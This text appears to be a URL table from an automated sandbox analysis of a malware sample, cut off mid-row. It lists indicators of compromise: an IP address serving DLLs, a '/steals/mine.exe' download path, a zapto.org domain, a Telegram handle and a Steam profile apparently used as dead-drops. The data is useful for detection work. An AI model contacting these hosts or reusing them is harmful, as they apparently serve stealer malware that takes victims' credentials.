https://168.119.176.241/&	a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.2021713393.000000000325C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://168.119.176.241/sqls.dllI	a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174954399.0000000003237000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://community.akamai.steamstatic.com/public/shared/javascript/tooltip.js?v=.zYHOpI1L3Rt0	a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1784599194.0000000003241000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1745266129.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174020167.0000000000408000.00000004.00000001.01000000.00000003.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1745302005.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1731818479.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1771473480.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.2021713393.000000000325C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1758386144.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1771428576.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1731884032.000000000323E000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1758422483.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174954399.0000000003237000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2344932078.0000000001351000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2343148482.0000000000438000.00000040.00000400.00020000.00000000.sdmp, 76561199747278259[1].htm.6.dr, 76561199747278259[1].htm.0.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://168.119.176.241ocal	MSBuild.exe, 00000006.00000002.2343148482.000000000054F000.00000040.00000400.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2343148482.000000000056E000.00000040.00000400.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2343148482.0000000000430000.00000040.00000400.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2343148482.0000000000400000.00000040.00000400.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2343148482.0000000000607000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://168.119.176.241/sqls.dll_	MSBuild.exe, 00000006.00000002.2344932078.0000000001323000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://www.google.com/recaptcha/	MSBuild.exe, 00000006.00000002.2344932078.00000000012C8000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://checkout.steampowered.com/	a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1717876707.0000000003241000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1714614994.0000000003241000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2344932078.00000000012C8000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://arpdabl.zapto.org	a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174020167.0000000000408000.00000004.00000001.01000000.00000003.sdmp	true	Avira URL Cloud: safe	unknown
https://community.akamai.steamstatic.com/public/css/globalv2.css?v=PAcV2zMBzzSV&l=english	a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1784599194.0000000003241000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1745266129.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174020167.0000000000408000.00000004.00000001.01000000.00000003.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1745302005.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1731818479.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1771473480.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.2021713393.000000000325C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1758386144.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1771428576.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1731884032.000000000323E000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1758422483.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174954399.0000000003237000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2344932078.0000000001351000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2343148482.0000000000438000.00000040.00000400.00020000.00000000.sdmp, 76561199747278259[1].htm.6.dr, 76561199747278259[1].htm.0.dr	false	Avira URL Cloud: safe	unknown
http://arpdabl.FCBFHIIDGD	a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174020167.0000000000408000.00000004.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: safe	unknown
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples	CFCFHJ.0.dr, IIIEBG.6.dr	false	URL Reputation: safe	unknown
https://community.akamai.steamstatic.com/public/css/skin_1/profilev2.css?v=M_qL4gO2sKII&l=englis	a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1784599194.0000000003241000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1745266129.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174020167.0000000000408000.00000004.00000001.01000000.00000003.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1745302005.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1731818479.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1771473480.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.2021713393.000000000325C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1758386144.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1771428576.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1731884032.000000000323E000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1758422483.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174954399.0000000003237000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2344932078.0000000001351000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2343148482.0000000000438000.00000040.00000400.00020000.00000000.sdmp, 76561199747278259[1].htm.6.dr, 76561199747278259[1].htm.0.dr	false	Avira URL Cloud: safe	unknown
https://168.119.176.241/graphy	a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.2021713393.000000000325C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://t.me/armad2ahellosqls.dllsqlite3.dllIn	a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	false	Avira URL Cloud: safe	unknown
https://help.steampowered.com/en/	a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1784599194.0000000003241000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1745266129.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174020167.0000000000408000.00000004.00000001.01000000.00000003.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1745302005.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1731818479.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1716174518.0000000003235000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1771473480.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.2021713393.000000000325C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1758386144.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1771428576.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1731884032.000000000323E000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1758422483.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174954399.0000000003237000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2344932078.0000000001351000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2343148482.0000000000438000.00000040.00000400.00020000.00000000.sdmp, 76561199747278259[1].htm.6.dr, 76561199747278259[1].htm.0.dr	false	Avira URL Cloud: safe	unknown
https://community.akamai.steamstatic.com/	MSBuild.exe, 00000006.00000002.2344932078.00000000012C8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://steamcommunity.com/profiles/76561199747278259/inventory/	a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1784599194.0000000003241000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1745266129.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174020167.0000000000408000.00000004.00000001.01000000.00000003.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1745302005.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1731818479.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1716174518.0000000003235000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1771473480.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.2021713393.000000000325C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1758386144.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1771428576.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1731884032.000000000323E000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1758422483.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174954399.0000000003237000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2344932078.0000000001351000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2343148482.0000000000438000.00000040.00000400.00020000.00000000.sdmp, 76561199747278259[1].htm.6.dr, 76561199747278259[1].htm.0.dr	false	Avira URL Cloud: malware	unknown
https://recaptcha.net/recaptcha/;	a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1717876707.0000000003241000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1714614994.0000000003241000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2344932078.00000000012C8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://168.119.176.241	76561199747278259[1].htm.0.dr	false	Avira URL Cloud: malware	unknown
https://168.119.176.241/nss3.dllf	a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.2021713393.000000000325C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://168.119.176.241/41	a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1784599194.0000000003241000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1875999041.0000000003307000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1745266129.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1745302005.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1771473480.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1758386144.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1771428576.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1758422483.000000000323F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://broadcast.st.dl.eccdnx.com	a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1717876707.0000000003241000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1714614994.0000000003241000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2344932078.00000000012C8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://147.45.44.104/steals/mine.exea	a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174020167.00000000005D7000.00000004.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: safe	unknown
https://steamcommunity.com/workshop/	a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1784599194.0000000003241000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1745266129.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174020167.0000000000408000.00000004.00000001.01000000.00000003.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1745302005.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1731818479.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1716174518.0000000003235000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1771473480.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.2021713393.000000000325C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1758386144.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1771428576.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1731884032.000000000323E000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1758422483.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174954399.0000000003237000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2344932078.0000000001351000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2343148482.0000000000438000.00000040.00000400.00020000.00000000.sdmp, 76561199747278259[1].htm.6.dr, 76561199747278259[1].htm.0.dr	false	Avira URL Cloud: safe	unknown
https://login.steampowered.com/	MSBuild.exe, 00000006.00000002.2344932078.00000000012C8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://store.steampowered.com/legal/	a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1784599194.0000000003241000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1745266129.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174020167.0000000000408000.00000004.00000001.01000000.00000003.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1745302005.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1731818479.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1716174518.0000000003235000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1771473480.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.2021713393.000000000325C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1758386144.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1771428576.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1731884032.000000000323E000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1758422483.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174954399.0000000003237000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2344932078.0000000001351000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2343148482.0000000000438000.00000040.00000400.00020000.00000000.sdmp, 76561199747278259[1].htm.6.dr, 76561199747278259[1].htm.0.dr	false	Avira URL Cloud: safe	unknown
http://64532127VdtSrezylanAPTHSymMatchStringInternetSetOptionAHttpQueryInfoAdbghelp.dllSetThreadCont	a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	false	Avira URL Cloud: safe	unknown
https://community.akamai.steamstatic.com/public/javascript/reportedcontent.js?v=dAtjbcZMWhSe&l=e	a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1784599194.0000000003241000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1745266129.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174020167.0000000000408000.00000004.00000001.01000000.00000003.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1745302005.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1731818479.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1771473480.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.2021713393.000000000325C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1758386144.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1771428576.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1731884032.000000000323E000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1758422483.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174954399.0000000003237000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2344932078.0000000001351000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2343148482.0000000000438000.00000040.00000400.00020000.00000000.sdmp, 76561199747278259[1].htm.6.dr, 76561199747278259[1].htm.0.dr	false	Avira URL Cloud: safe	unknown
https://community.akamai.steamstatic.com/public/shared/javascript/shared_responsive_adapter.js?v=pSv	a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1784599194.0000000003241000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1745266129.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174020167.0000000000408000.00000004.00000001.01000000.00000003.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1745302005.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1731818479.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1771473480.000000000323F000.00000004.00000020.00020000.00000000.sdmp, 